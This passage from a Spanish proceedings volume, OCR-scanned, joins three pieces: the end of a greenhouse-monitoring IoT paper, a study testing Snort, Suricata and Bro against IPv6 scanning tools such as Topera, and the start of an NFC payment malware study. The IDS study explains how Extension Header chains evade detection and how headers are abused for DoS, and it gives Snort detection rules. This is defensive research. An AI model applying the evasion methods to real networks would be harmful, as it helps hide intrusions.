uno de los sensores (anemoémetro). El médem 3G y el Power
Bank que inicialmente se iban a comprar, los han cedido para
el desarrollo del sistema.

V1. IMPLEMENTACION

En este capitulo se va a profundizar sobre las funcional-
idades que se consideran mds importantes del punto “De-
scripcién general del proyecto”. Al igual que se hizo en
dicho punto, la implementaciéon se va a dividir en varias
subsecciones: nodo, servidor, aplicacién web y aplicacién
movil.

A. Implementacion del nodo

La primera vez que se encienda el nodo, va a configurarse.
Para ello, se obtiene el nimero de serie de la Raspberry.
Este nimero de serie se consigue leyendo del /proc/cpuinfo
[38]. Se lee el fichero completo y en la linea que aparece el
elemento “Serial” se lee desde el cardcter 10 al 26 siendo este
el identificador tnico de 16 digitos de esa Raspberry Pi. Una
vez que tenemos el nimero de serie de la Raspberry, esta va a
realizar una peticién al servidor para pedir su configuracion,
en dicha peticion ira su id de nodo. La Raspberry Pi recibird
un fichero JSON que usard para terminar su configuracién.
En el fichero JSON iran especificados los sensores que usard
y cual es el pin que debe de usar para leer datos de sensores.
El resto de veces que se reinicie la Raspberry pi, no va a
necesitar configurarse, utilizard el fichero que ha generado de
configuracién. Los datos de cada sensor se obtienen de forma
distinta. Para leer datos del sensor de temperatura externa, se
usa el dispositivo que se crea tras conectarlo a la GPIO. El
sistema operativo lo crea en el directorio /sys/bus/w1/devices/,
empieza por 28%* y una vez dentro se recogen datos del dis-
positivo wl_slave. Para leer datos del sensor de temperatura
y humedad, se puede utilizar de una forma muy sencilla la
libreria Adafruit_ DHT, para leer datos del sensor usando esta
librerfa tan solo tenemos que especificar el pin desde el que
se va a leer y el modelo de sensor. Para el resto de sensores,
no se ha podido realizar la implementacién. Una vez que se
han recogido los datos de los sensores se almacenaran en una
base de datos local SQLite y se enviardn a la base de datos
usando sentencias SQL. Segin la configuracién del nodo,
cuando tenga indicado, enviard los datos de los sensores al
servidor y los borrard de la base de datos local. Para el envio
de datos, se va a utilizar una conexion a Internet, se van a
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empaquetar los datos en JSON y se van a enviar mediante
una peticiéon POST al servidor indicando su id de nodo.

B. Implementacion del servidor

El servidor realiza una serie de acciones, en este apartado,
se detallan cémo se llevan a cabo las mas importantes:

1) Recoger datos de un formulario y almacenarlos en
MySQL: Cuando se envian datos de formularios Django
ayuda a almacenarlos de una forma sencilla. Para ello se crea
un objeto, se le pasan como argumentos los datos de dicho
objeto y posteriormente se le indica que debe guardarlo.

2) Enviar notificacion a usuario usando Firebase: En el
momento en el que el nodo envia datos de sensores al servidor,
los recoge y avisa al nodo de que todo ha ido bien. Una
vez que ha recogido los datos de sensores de nodo, los
procesard comprobando si existen alarmas asociadas a esos
datos. Para ello realiza una lectura de la base de datos de
todas las alarmas asociadas a ese nodo y verifica si algin
dato infringe alguna alarma. En el caso de que algin dato
infringiera cualquier alarma, el servidor leerd los tokens de
los usuarios asociados a esa alarma y enviard un aviso al
servidor Firebase usando su API. Para dicho envio se asocia
el token de usuario correspondiente al usuario que debe ser
notificado y el mensaje correspondiente.

3) Sirve los datos a la base de datos Prometheus: El
servidor va a funcionar de PushGateway, los datos que al-
macene, los expondrd al servidor de base de datos Prometheus
y una vez expuestos, los eliminard. Para exhibir los datos a
Prometheus leera de su base de datos SQL todos los datos
de los sensores de nodos que tenga. Para la preparacién de
dichos datos sigue el formato:

nombre-del-sensornodo=id-nodo valor-de-medicién times-
tamp

Una vez que Prometheus haya recogido los datos, el servi-
dor eliminara de su base de datos SQL los datos de sensores
expuestos.

C. Implementacion del servidor web

El servidor web realiza una serie de acciones, en este
apartado, se detallan cémo se llevan a cabo las mds impor-
tantes:

1) Autentificacion de usuarios: El servidor web generard
un formulario de login en el que el usuario deberd de indicar
su usuario y contrasefia y enviarla. Una vez enviada, el
servidor leerd desde la base de datos el hash de contrasefia
que tiene almacenado con ese usuario, creard un hash con
la contrasefia que se le ha enviado a través del formulario de
login y comprobard ambos hash. Si son iguales devolvera una
sesion de usuario que se utilizard para navegar por la web.

2) Implementacion de acciones sobre elementos del sis-
tema: Podra registrar, modificar, eliminar y listar fincas,
nodos, usuarios, tipos de sensores, sensores y alarmas. Para
registrar y modificar generard un formulario con los datos
que requiera cada elemento y se le enviard al usuario que
lo requiera. Una vez completados y enviados, el servidor los
recogerd, procesard y almacenard en la base de datos. Para
realizar la accién de eliminar cualquiera de los elementos
nombrados anteriormente, recibirda un id del elemento a elim-
inar y el servidor lo eliminard de la base de datos. Para listar
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fincas, nodos, usuarios, tipos de sensores, sensores y alarmas,
recibird un id de lo que se quiera listar y el servidor pedird
los datos a la base de datos y generard una vista al usuario
con los datos identificativos.

3) Leer datos de sensores desde Prometheus: Para mostrar
los datos que estdn almacenados en la base de datos de
Prometheus, es necesario pedirlos a dicha base de datos. En
este apartado, se muestra un ejemplo de lectura de datos
usando la API que ofrece Prometheus. Se debe de realizar
una peticién http con el siguiente formato: “URL del servidor
Prometheus” + “/api/vl/query?query="+ Medida + “serie de
tiempo a leer”

La “Medida” estd compuesta por el sensor que se quiere
leer y el nodo. La “serie de tiempo a leer” son los tltimos
minutos de datos que queremos.

D. Implementacion de aplicacion movil

La aplicacién moévil elabora una serie de actividades, en
este apartado se detallan cdmo se llevan a cabo:

1) Autentifica a los usuarios: La aplicaciéon movil mostrara
un formulario de login en el que el usuario deberd de
indicar su usuario y contrasefia. Una vez indicados estos
datos, la aplicacién se encarga de enviarlos al servidor y
de esperar una respuesta del mismo. Si el servidor devuelve
un token de usuario significa que la autentificaciéon se ha
realizado correctamente. El token recibido, lo almacenara en
el SharedPreferences de Android para usarlo posteriormente.
Una vez que tiene el token de usuario, va a pedir otro
token de aplicaciéon a Firebase y este le responderd con
otro token_firebase. Una vez recibido, la aplicacion mévil
comunicard al servidor el token_firebase que deberd usar para
la comunicacién. Ademads la aplicacién Android guardara el
token_firebase en SharedPreferences.

2) Listar fincas, nodos, alarmas y sensores asociados al
usuario autentificado: La aplicacién movil realizard peti-
ciones sobre el servidor indicando el token de usuario y el
listado que necesita.

3) Esperar notificacion PUSH: Si se produce alguna
alarma en el sistema, la aplicacién va a estar activa esperando
notificaciones push por parte del servidor.

VII. CONCLUSIONES Y LINEAS FUTURAS

Este sistema supone un cambio importante en la forma
de controlar el invernadero consiguiendo una mejora en la
calidad de vida de los agricultores. Permite tener informado al
agricultor en todo momento sobre el estado del clima interno y
externo del invernadero sin necesidad de estar desplazandose
continuamente a las fincas.

El sistema implementa las funciones de otros sistemas com-
erciales y ademds mejora la comunicacién con el agricultor.

La elaboracién del sistema de monitorizacién remota ha
ayudado al autor del mismo a ampliar conceptos adquiridos
en el Grado de Ingenieria Informitica, a desenvolverse en el
uso de nuevas librerias, el estudio de nuevas tecnologias y a
ganar experiencia dando solucién a un problema real.

Gracias a las herramientas y a los conocimientos empleados
en el desarrollo del sistema, se ha conseguido crear un nodo
que es capaz de recoger datos de sensores y enviarlos a un
servidor. Un servidor que organiza esos datos para poderlos
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analizar correctamente y estos a su vez, se muestran a un
usuario de forma instantdnea.

El sistema se puede ampliar considerablemente aumentando
las variables a controlar, utilizando motas para monitorizar
superficies mds extensas, automatizando partes del inver-
nadero,... Podria controlarse por ejemplo, la radiacién solar
dentro y fuera del invernadero y el punto de rocio. Ademas,
recopilar datos relativos al suelo: humedad, temperatura, can-
tidad y tipos de nitratos,... Sin embargo, la gran mejora se
daria con la integracién del sistema con la automatizacién
de la ventilacién y con las maquinas de riego. Poder abrir o
cerrar los ventanales del invernadero, poder regar y abonar
desde el mévil supondria para los agricultores un aumento de
la calidad de vida descomunal.
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Resumen—IPv6 trae consigo un considerable niimero de
mejoras sobre IPv4, que suponen un incremento en la flexibil-
idad del protocolo y, consecuentemente, la aparicion de nuevas
vulnerabilidades. En el proyecto que este documento resume, se
estudia el soporte para IPv6 de una seleccion de sistemas de
deteccion de intrusiones (IDS), frente a ataques de escaneo. El
principal problema que se estudia trata sobre las configuraciones
de trafico que provocan la evasion de los IDS. Snort, Suricata
y Bro son analizados frente a una bateria de ataques realizados
con las herramientas Nmap, THC6 y Topera. Se hace hincapié
en la herramienta Topera debido a que afirma ser invisible a
Snort. Tras comparar las distintas respuestas de los IDS frente a
cada tipo de configuracion se propone, a través de una pequeia
prueba de concepto, una mejora de la forma de mitigacion de
Topera introducida por Snort. El plugin IPv6 creado por Martin
Schiitte proporciona la base sobre la que realizar esta prueba
de concepto.

Palabras clave—Ataque de escaneo, Cabecera de Extension,
Evasion, IDS, Log, Regla, Trafico legitimo, Trafico malicioso.

I. MOTIVACION

En un principio Internet no fue disefiado para acoger el
nimero de dispositivos que, en la actualidad, se conectan
diariamente en todo el mundo. Internet Protocol version
6 (IPv6 de aqui en adelante) naci6 como una evolucién
de Internet Protocol version 4 (IPv4), motivada por el
agotamiento de direcciones IP y por la falta de flexibilidad
de éste.

Hasta ahora se ha seguido usando IPv4, intentando retrasar lo
méximo posible el cambio a IPv6. Técnicas como Network
Address Translation (NAT), que permiten la traduccion entre
direcciones IP privadas y publicas, aumentan el nimero
maximo de dispositivos que pueden conectarse a Internet
usando el rango de direcciones disponible en IPv4.

Sin embargo, estos “parches” no puede funcionar para
siempre y, a pesar de que el rango de direcciones publicas
IPv4 estd mas que agotado, el proceso de adopcién de IPv6
estd siendo muy lento. IPv6 fue disefiado en 1998 pero,
actualmente, el nimero de conexiones IPv4 sigue siendo
mayor al de IPv6. Se espera que para 2019 se inviertan los

papeles y el trafico IPv6 sea mayoritario'.

Las principales mejoras que implementa IPv6 son: el aumento
del tamafio de las direcciones a 128 bits, permitiendo hasta
3.4 % 1038 direcciones ptiblicas distintas, una mejora en las
cabeceras de las tramas IP y la introduccién de las Cabeceras

"http://www.worldipv6launch.org

de Extension. Ciertamente es dificil imaginar un escenario
dénde se agoten todas las direcciones que ofrece IPv6, de
modo que, en teoria, el agotamiento de las direcciones IP
deberia dejar de ser un problema prioritario, al menos durante
de un periodo de tiempo considerable.

Como todos los demds protocolos de Internet, IPv6 no
estd exento de vulnerabilidades. La coexistencia de IPv4
y IPv6 junto con los problemas que conlleva la elevada
flexibilidad de IPv6, no hacen mdas que agravar el problema.
Por poner un ejemplo, centrandonos en el contenido del
proyecto, un aspecto como el escaneo de dispositivos dentro
de una red, que en una primera instancia seria inviable
de realizar por fuerza bruta debido al elevado nimero de
direcciones que proporciona IPv6, encontrard diferentes
alternativas convirtiéndose de nuevo en un escenario que los
gestores de seguridad deberdn tener en cuenta.

Otro de los grandes problemas es que la gran mayoria
de los sistemas no contemplan IPv6 como un vector de
ataque, dejando los mecanismos de defensa anclados en
medidas para detectar ataques en IPv4. El factor humano
también juega un papel importante. El desconocimiento, por
parte del administrador, de que en su red estd implantado
IPv6, supone la mayor de las ventajas para un supuesto
atacante.

El objetivo de este proyecto es el estudio y andlisis
del soporte que nos ofrecen distintos Sistemas de Deteccién
de Intrusiones (IDS) para detectar ataques de escaneo en
IPv6. Concretamente, utilizaremos Snort, Suricata y Bro.
Ademads, a modo de comparacion, los escaneos también seran
realizados en IPv4, con el fin de observar las diferencias
entre las medidas de deteccidén usadas para cada protocolo.

Nmap, The Hacker’s Choice IPv6 (THC6) y Topera
seran las tres herramientas utilizadas para lanzar la bateria
de pruebas. Durante el transcurso del andlisis, trataremos de
encontrar configuraciones de trafico que generen la evasioén
de los IDS o que generen comportamientos anémalos en los
sistemas de deteccion.

En la misma linea, estudiaremos Topera, que se define
como una herramienta de seguridad para el escaneo de
puertos y afirma ser invisible a Snort. Trataremos de
encontrar las causas de esta “invisibilidad” y mitigarlas en
la medida de lo posible, ademds de analizar la herramienta
contra Suricata y Bro, observar las diferencias en la deteccién
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y comprobar si también provoca la evasién de estos dos IDS.
La forma de mitigacion variard dependiendo de los resultados
obtenidos, aunque en una primera instancia se buscard crear
una regla para Snort/Suricata que detecte el escaneo.

Con esto pretendemos comprobar el nivel de soporte
actual para IPv6 con la hipétesis inicial de que existe
un déficit de medidas eficientes contra los ataques de
reconocimiento basados en este protocolo.

Para llevar a cabo las pruebas pertinentes se creara un
laboratorio de trabajo con VirtualBox con tres méaquinas con
los roles de atacante, victima y detector.

II. CONCEPTOS BASICOS

Algunos conceptos, aunque son conocidos, no viene mal
repasarlos para el seguimiento del proyecto y su completa
comprension.

A. Cabeceras IPv6 de Extension

En IPv6, la informacién adicional de la capa de red se
codifica en cabeceras independientes, llamadas Extension
Headers o Cabeceras de Extension, situadas entre la cabecera
IPv6 y las cabeceras de capas superiores. Cada una de estas
Cabeceras de Extension esta identificada con un valor distinto
dentro del campo Next Header.

Todas las Cabeceras de Extension tienen una longitud
multiplo de 8 octetos. En una implementaciéon completa de
IPv6 se incluyen las siguientes Cabeceras de Extension:

« Hop-by-Hop Options

« Routing (Type 0)

o Fragment

o Destination Options

« Authentication

« Encapsulating Security Payload

La caracteristica de estas cabeceras que mds nos influye
tiene que ver con el numero de cabeceras repetidas en
un mismo paquete. En el RFC-2460[1] se recomienda que
aparezca como maximo una cabecera de cada tipo, a ex-
cepcion de la cabecera Destination Options header, que
deberia aparecer hasta un maximo de dos veces por paquete.

B. Abuso de las Cabeceras de Extension

Parte del problema de las Cabeceras de Extensién viene
de la especificacién de transmisiéon y procesamiento de las
Cabeceras de Extension en IPv6 (RFC-7045[3]), que establece
que cualquier nodo en la ruta de un paquete IPv6:

o Debe reenviar el paquete independientemente de las
Cabeceras de Extension que haya presentes.

o Estd obligado a reconocer y manejar apropiadamente
todos los tipos de Cabeceras de Extension IPv6.

« No debe descartar paquetes que contengan Cabeceras de
Extensién no conocidas.

Las Cabeceras de Extensiéon en IPv6 se han convertido
en una fuente de vulnerabilidades, debido, como ya citamos

antes, a la falta de restricciones en la especificacién del
protocolo. Algunos ejemplos de cabeceras utilizadas como
vectores de ataque son: Fragment Headers[4][5], Routing
Header type 0 y Hop-by-hop options Header|[5].

Cuando en un paquete, hay una cabecera del tipo Hop-
by-hop options (con el campo “Next Header” a 0), todos los
nodos de la ruta deben inspeccionarlo. Ademads, si existen
opciones del tipo Router Alert, todos esos nodos deben
inspeccionar con mayor detenimiento los contenidos de la
cabecera, empleando mads recursos en ello. Esta funcionalidad
es usada por los atacantes para provocar denegaciones de
servicio (DoS)[5] en la médquinas por las que pasa el paquete.

El Routing Header type O permite al emisor definir la
ruta de un paquete parcial o completamente[5]. Esta
configuracién puede ser utilizada para “spoofear” una
direccioén y recibir trifico de vuelta. También se utiliza para
realizar ataques de amplificacién y otros DoS?.

En cuanto a los Fragment Headers, debido a que el
nodo receptor debe recibir todos los fragmentos de un
paquete para poder reensamblarlo, son utilizados para
provocar denegaciones de servicio. Se envian paquetes
fragmentados incompletos, forzando al nodo a esperar el
fragmento que falta. También son utilizados para sobrepasar
firewalls[5].

C. Ataques de escaneo

Los ataques de escaneo son lanzados durante la fase de
reconocimiento, englobados dentro de la estructura general
de un ciber-ataque. Su objetivo es descubrir los equipos
existentes en una red, averiguar cudl es el sistema operativo
de la mdquina y su versidn, buscar puertos abiertos y ver
qué servicios corren en ellos, etc. En resumidas cuentas, se
trata de obtener la mayor cantidad de informacién sensible
sobre una maquina, o conjunto de maquinas, con el objetivo
de encontrar vulnerabilidades que nos permitan llevar a cabo
la actividad maliciosa deseada.

Una caracteristica importante de los ataques de escaneo es su
habilidad para evadir los sistemas de deteccién de intrusiones.
En IPv6, los atacantes juegan con las configuraciones de
las Cabeceras de Extensioén para confundir a los parsers de
los IDS y conseguir que el escaneo pase desapercibido. Las
combinaciones de cabeceras mds usadas para la evasion de
IDS son los Fragmentation Headers[4] y los Destination
Options Headers. Concretamente, el ataque analizado en
este proyecto utiliza el dltimo tipo de cabeceras citadas para
conseguir su “invisibilidad” ante los IDS.

III. ESCENARIOS DE PRUEBAS
A. Configuracion del escenario de pruebas

El laboratorio ha sido construido sobre Virtual Box
v5.0.16. Contiene tres roles fundamentales: un atacante, una
victima y un “vigilante”, que funciona como dispositivo
de monitorizacién. Las tres mdquinas se encuentran en la

2Denial of Service

62



IT / Seguridad

[ JAucnte | Victima | Detector ——[Poc__—

OS Kali Linux 2016.1 Ubuntu 15.10 Security Onion  Ubuntu 15.10
14.04.3.1

192.168.4/ 24 192.168.1.5/ 24
2001:abed::4/ 64 2001:abed::5/64

IPv4
IPv6

192.168.1.3/24  192.168.1.2/24
2001:abcd::3/64  2001:abed::2 /64

Fig. 1. Descripcion del escenario montado con méquinas virtuales.

misma red local y Ginicamente la maquina vigilante tiene una
interfaz con conexién a Internet.

Utilizaremos Security Onion como distribucién para el
detector. Security Onion es un sistema operativo basado
en Linux que tiene preinstalados los IDS con los que
realizaremos las pruebas, Snort, Suricata y Bro. Elegimos
esta distribuciéon para tener configuraciones predefinidas,
que nos permitieran iniciar cuanto antes los andlisis y, en
el momento de profundizar mds, tener acceso a multiples
opciones con las que afinar nuestras configuraciones. Algunos
aspectos de su configuracién se pueden observar en la Figura
1.

Ademas de estos tres sistemas, hemos utilizado un cuarto
para el desarrollo de las reglas para detectar Topera (cap.
6 de la memoria). Esto se debe a que utilizamos un plugin
de Snort para IPv6, creado por Martin Schiitte®, que afiade
opciones adicionales para la creacion de reglas y que requiere
usar la misma versiébn de Snort para el que fue compilado
(Snort-2.9.2.2).

B. Sistemas de Deteccion

Los IDS elegidos para realizar las pruebas de deteccion son
Snort, Suricata y Bro. Dos de ellos basados reglas, Snort y
Suricata, y otro basado en anomalias, Bro. Bro se diferencia
de los otros dos IDS en que, mientras Snort y Suricata
detectan patrones maliciosos de paquetes y alertan al usuario,
Bro recoge todo el trafico y reporta las anomalias detectadas,
para que después el analista actie en consecuencia a través
de su “framework”.

Relativo a las reglas descargadas para Snort y Suricata,
se han utilizado las reglas de Emerging Threats (version
open-source) y Snort-VRT (versiébn proporcionada al
registrarte en la pdgina). Hemos utilizado Pulledpork para
descargar y organizar las reglas ya que proporciona una
gestion centralizada que permite ahorrar tiempo al cambiar
entre unas configuraciones de reglas y otras. Para Bro, hemos
utilizado los scripts de deteccién instalados por defecto
en Security Onion, sin hacer mds cambios que los que se
indican en la seccién 3.2.4 de la memoria.

Un dato remarcable es el nimero de reglas especificas
para IPv6*[6]. Sumando las reglas de VRT y de ET,
obtenemos 68. La cifra es irrisoria si la comparamos con el
total de reglas que tenemos activas (alrededor de 23000).
Esto dice mucho del soporte actual que existe para este
protocolo. También es cierto que, normalmente las reglas se

3https://github.com/mschuett/spp_ipv6
4grep -i ipv6 downloaded.rules — grep -c alert
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crean para detectar ataques ya existentes y, es obvio que el
nimero de ataques en IPv4 es muy superior al de ataques en
IPv6. Probablemente con el tiempo, el nimero de ataques
especificos para IPv6 crecerd, asi como el nimero de reglas
para detectarlos.

C. Ataques realizados

El conjunto de ataques utilizado para las pruebas, ha
sido modelado con la intencién de incluir una variedad
representativa de ataques, tanto para IPv4, cémo para
IPv6, con el propdsito de comparar el soporte existente en
los IDS dependiendo del protocolo utilizado. También se
analizaran las alertas generadas por los ataques, buscando
las configuraciones menos ruidosas y comprobar si alguna
logra la completa evasiéon de los IDS. Todos los ataques
tienen como objetivo obtener alguna informacién util para el
reconocimiento de una red o equipo.

Las herramientas seleccionadas para realizar los ataques son:
Nmap, THC-IPv6 (The Hacker’s Choice IPv6) y Topera.
Nmap es posiblemente “La Herramienta”, cuando hablamos
de reconocimiento de redes. El abanico de opciones que
incluye es inmenso; desde escaneos de host, direcciones,
puertos, sistemas operativos..., pasando por las técnicas de
escaneos mds populares (TCP-SYN/ACK/Connect, UDP
Scan, FIN/Xmas scans, etc.), hasta la posibilidad de lanzar
los escaneos en IPv6. La version utilizada es Nmap 7.01,
instalada por defecto en Kali 2016.1.

The Hacker’s Choice IPv6> es un conjunto de herramientas
que explotan las vulnerabilidades inherentes a IPv6. Contiene
herramientas con finalidades muy diversas, de modo
hicimos una seleccién de aquellas que nos eran més utiles.
Las herramientas escogidas son: alive6, detect_sniffer6 y
firewall6 (seccion 3.3.2 de la memoria). La versién de
THC-IPv6 utilizada es también la incluida por defecto en
Kali 2016.1.

Topera® es una herramienta de seguridad que afirma
ser invisible a Snort. Se utiliza su dltima versién, 0.0.2, cuya
ultima actualizacién data de 2013. Cuenta con dos tipos de
ataques, un escaneo TCP de puertos y ataque “Slow HTTP”
(Slowloris sobre IPv6). Debido a que su version de Slowloris
estd destinada a realizar DoS en IPv6, nos centraremos en
su escaneo de puertos. El escaneo de puertos de Topera
s6lo reporta puertos abiertos o cerrados, no distingue si
existen puertos filtrados. Topera tiene una gran importancia
en nuestro estudio porque, uno de los objetivos del proyecto
es corroborar si realmente es invisible a Snort, si podria serlo
también para otros IDS y en caso afirmativo, determinar qué
provoca la evasion de los IDS.

IV. DESARROLLO DE LAS PRUEBAS Y OBTENCION DE
RESULTADOS

Todas y cada una de las pruebas lanzadas se encuentran
desarrolladas en profundidad en la memoria. Se exponen,

Shttps://github.com/vanhauser-thc/thc-ipv6
Shttp://toperaproject.github.io/topera/
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ademds de las diferentes reglas/logs que dispara cada ataque,
las caracteristicas del trifico que se genera en el segmento
de red con cada uno de los tests. En aras de la brevedad,
este desarrollo quedara fuera del resumen, dejando al lector la
opcion de indagar mas en esta seccion acudiendo a la memoria
del proyecto. Dicho esto, pasaremos a exponer algunas de las
ideas mds destacables que se han obtenido tras analizar los
resultados.

V. ANALISIS DE RESULTADOS

En primer lugar, se ha visto que las alertas que avisan
sobre las caracteristicas del trafico, que a priori eran de
gran ayuda para analizar el trdfico de la red, dan lugar a
falsas alarmas al dispararse también con trifico legitimo. A
pesar de que siguen siendo utiles en la tarea de deteccién
de escaneos, no podemos basar el descubrimiento de trafico
malicioso en reglas que pueden llevar a equivocos. Los IDS
deberfan decodificar e identificar correctamente los patrones
maliciosos en los paquetes y alertar de ello de manera precisa.

Otro punto a resaltar estd relacionado con la “masividad”
de los ataques. Algunas de las configuraciones lanzadas
estan dirigidas contra una direccién y un puerto concretos.
El trafico resultante de realizar estos escaneos es apenas de
dos o tres paquetes, y por ello pasan desapercibidos a los
IDS o generan muy pocas alertas. Los sistemas de deteccion
de escaneos suelen estar enfocados en detectar escaneos
masivos contra rangos de direcciones y puertos, que son los
mds comunes debido a que en la fase de reconocimiento, el
atacante no tiene informacién alguna acerca de los equipos
de la red. Aunque es cierto que en IPv6, debido a sus
dimensiones, los rangos escaneados se ven reducidos, siguen
estando lejos de ser escaneos dirigidos.

También se puede ver que existe mas soporte para IPv4 que
para IPv6, aunque la diferencia sea cada vez menor. Este
aspecto no nos sorprende y es del todo normal. Cuando se
habla de IDS, las reglas usadas para detectar los ataques
normalmente son creadas después de que el ataque se haya
conocido y popularizado. Debido a la baja implementacién
de IPv6 en comparacién con IPv4, existirdn menos tipos de
ataque especificos de IPv6 y por tanto es comprensible que
haya un menor soporte para IPv6. A medida que IPv6 se
vaya extendiendo, asi lo hard su soporte en los sistemas de
deteccion. No obstante, fuera de la comparaciéon con IPv4,
consideramos que la cobertura de IPv6 estd por debajo de lo
que deberia ser para el nivel actual de implementacion.

Las Cabeceras de Extensiéon IPv6 son otra fuente de
problemas para los IDS. Las distintas combinaciones de
estas cabeceras son el método estrella para evadir los
IDS. Una de las causas es la ambigiiedad de algunas
definiciones de los RFC sobre qué configuraciones de
paquetes son legitimas y cuales no. En nuestro caso, tanto
Snort como Suricata y Bro implementan herramientas que
detectan anomalias en las configuraciones de Cabeceras de
Extension. Topera basa su invisibilidad en incluir muchas
cabeceras Destination Options en los paquetes. Bro detecta
el escaneo directamente notificando sobre un escaneo de

puertos TCP. Suricata detecta una configuracién ilegitima de
cabeceras con la regla [1:2200089:1] y alerta sobre opciones
con sélo relleno, por lo que Topera tampoco evade a Suricata.

Sin embargo, Topera sélo afirmaba ser invisible a Snort. No ha
sido hasta la implementacion de la opcidn max_ip6_extensions
con Snort 2.9.7.0 (2015) cuando se puede decir que Topera
ha dejado de ser invisible a Snort. Recordemos que Topera
se cred en 2012. Con esta opcién podemos fijar cudntas
cabeceras decodifica Snort. Si se detecta trafico con menos
cabeceras, serd decodificado y por lo tanto el escaneo es
detectado. Si se detecta trdfico que sobrepase el limite de
cabeceras, se dispara la regla [116:456:1]. Como se ha
comentado, debido a que actualmente es muy raro ver trafico
con mds de una Cabecera de Extension, esta opcién es, por
ahora, suficientemente efectiva como método de deteccion
de escaneos.

No obstante, existen varias pegas a esta opcion. Una
de ellas es que Snort no diferencia qué tipos de Cabeceras
de Extensién existen en el paquete. Este aspecto es el que
trataremos de mejorar en el capitulo 6 de la memoria. La
solucién Optima deberia de detectar patrones maliciosos y
evitar la evasion aceptando todo tipo de combinaciones de
cabeceras legitimas, sin tener que rechazar trafico.

Comparando las respuestas de Snort y Suricata concluimos
que el soporte que ofrecen para IPv6 es muy similar. Ambos
IDS tienen sus aspectos positivos y negativos. Quizd la
ceguera de Suricata frente al escaneco TCP-SYN en IPv6
inclina la balanza mds hacia Snort, pero Suricata responde
mejor ante las Cabeceras de Extensién IPv6. En cuanto a Bro,
debido a que opera de forma distinta, no es facil compararlo
con los otros dos IDS. Ante algunas configuraciones, como
las lanzadas por Topera, Bro se desenvuelve mejor que Snort
y Suricata. Pero también tiene puntos ciegos, como frente a
los ataques FIN, XMAS, ACK o SlowRate. En general, los
tres sistemas incluyen un soporte bastante estable para IPv6
pero, todavia esté lejos de lo que deberia de ser si queremos
que IPv6 se implante de una vez por todas.

VI. PoC

Tras observar el comportamiento de Snort y Suricata ante
el el escaneo de Topera, decidimos intentar mejorar los
métodos de mitigacién que proporciona Snort ante este tipo
de escaneos. Recordemos que la causa de la “invisibilidad”
de Topera era enviar paquetes con mds Cabeceras de
Extensién, Fragment headers o Destination Options, de
las que Snort decodificaba. Esto provocaba la evasion
de Snort. Debido a que la configuracién de Topera con
cabeceras Fragment headers no obtenia ninguna respuesta de
la miquina victima, nos centraremos en la configuracién con
cabeceras Destination Options, que si realizaba el escaneo
correctamente.

La regla que dispara Snort ([116:456:1]) avisa sobre la
existencia de un paquete con mas Cabeceras de Extension
que el maximo indicado en la variable max_ip6_extensions
del archivo snort.conf. La solucion de Snort no detecta
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el tipo de Cabeceras de Extensiéon del paquete ni cudntas
veces aparece repetidas cada una. El principal problema
es que aunque haya 6 Cabeceras de Extensién definidas,
las cabeceras de capas superiores (por ejemplo haciendo
tunneling IPv6 sobre IPv6) irdn seguidas por sus Cabeceras
de Extension. Esto hace inservible fijar un méximo de
cabeceras por paquete.

En un intento de mejorar esta opcién utilizaremos un
plugin IPv6 para Snort, creado por Martin Schiitte que
identifique el nimero de Cabeceras de Extension de cada tipo
que hay por paquete. El plugin anade la funcionalidad de
detectar la existencia de los tipos de cabeceras pero no de su
nimero. Por ello creamos 7 reglas que funcionan de manera
conjunta, para suplir esa falta. Seis reglas para detectar cada
uno de los tipos de cabeceras y una mds para contar el total
de Cabeceras de Extensién. Un ejemplo de descripcion de
estas reglas lo podemos encontrar en la Figura 2.

A pesar de que esta configuracién nos acerca un poco mas
a saber cudntas cabeceras de cada tipo contienen los paquetes
analizados, esta lejos de ser la manera 6ptima de hacerlo.
El primer inconveniente de la aproximacion presentada es
que recae en el analista la tarea de interpretar las alertas y
descubrir que esta pasando en la red. Ante trafico real, las
alertas se dispararian demasiado a menudo, confundiéndose
cuando se han lanzado con tréfico legitimo y cudndo no. Atin
si estamos en un laboratorio, contra ciertas configuraciones
de cabeceras, no podremos determinar cuantas cabeceras de
cada tipo hay.

Como propuesta para un futuro trabajo, la solucién
Optima pasaria por implementar en el plugin la deteccién del
nimero exacto de Cabeceras de Extension en un paquete.
Con esta funcionalidad se podrian disparar alertas cuando las
configuraciones de cabeceras incumplan las recomendaciones
del RFC-2460 [1].

VII. CONCLUSIONES

Con la bateria de pruebas realizada, se comparan las
capacidades de los IDS y se comenta el nivel de soporte
actual para los ataques de escaneo en IPv6. A nivel
comparativo, algunas de las pruebas se lanzan en IPv4 y
sus resultados son utilizados para resaltar las diferencias de
soporte entre ambos protocolos.

Se ha visto que el soporte existente para IPv6 estd
creciendo pero sigue estando muy por detrds del de IPv4.
Creemos que mejorard al ritmo de expansiéon de IPv6. Sin
embargo, incluso para el nivel actual de implementacién de
IPv6, creemos que es insuficiente.

alert ip any any —>any any (ip6_exthdr: 60; msg:"IPv6:\
Destination Options header dete ; s1id:124818; \
rev:l;)

alert ip any any ->»any any (ip6_exthdr: 43; msg:"IPvé6: \
Routing header detected"; sid:124819; rev:1;)

Fig. 2. Ejemplo de descripcion de las reglas para el plugin IPv6 de Snort.
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Se ha presentado que la invisibilidad de Topera era causa
de cadenas de Cabeceras de Extension IPv6 suficientemente
largas como para que Snort no las decodificase correctamente
y por tanto consiguiera la evasién del IDS. También se ha
comprobado que no es efectivo contra Suricata y Bro.

La implementaciéon de la opcién max_ip6_extensions
con la version version 2.9.7.0 de Snort, define el ndmero
maximo de Cabeceras de Extension que debe procesar
lanzando una alerta si se supera. Con esta funcionalidad
Topera deja de ser invisible.

Se ha expuesto una propuesta de mejora a la opcién
de Snort utilizando un plugin IPv6 y definiendo 7 reglas
que trabajan en conjunto. Con todo ello, se puede deducir el
nimero de Cabeceras de Extension de cada tipo que existen
€n un paquete.

Sefialar que los resultados expuestos son el resultado de la
investigacion y estudio de los autores, un analista experto
podria afinar mucho més la configuracién optimizando la
respuesta de los IDS.
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Resumen— Uno de los cambios de mayor entidad que ya esta
teniendo lugar en nuestra sociedad es el del pago fisico en
comercios utilizando dispositivos electronicos méviles de
propésito general. En particular, parece que la apuesta principal
de la industria del pago es el uso de la tecnologia NFC (NVear Field
Communication). Si bien este cambio puede parecer adecuado de
cara a la facilitacion del pago, y por tanto a la activacion de la
economia, no es menos cierto que puede dar paso a nuevas formas
de vulneracion de la seguridad. En este documento se realiza un
estudio sobre esta modalidad de pago centrandose en la
seguridad. Se plantea y estudia la viabilidad de un escenario en el
que un malware capture los datos de autenticacion en el moévil a
la hora de la realizacidn de un pago por NFC. En este resumen se
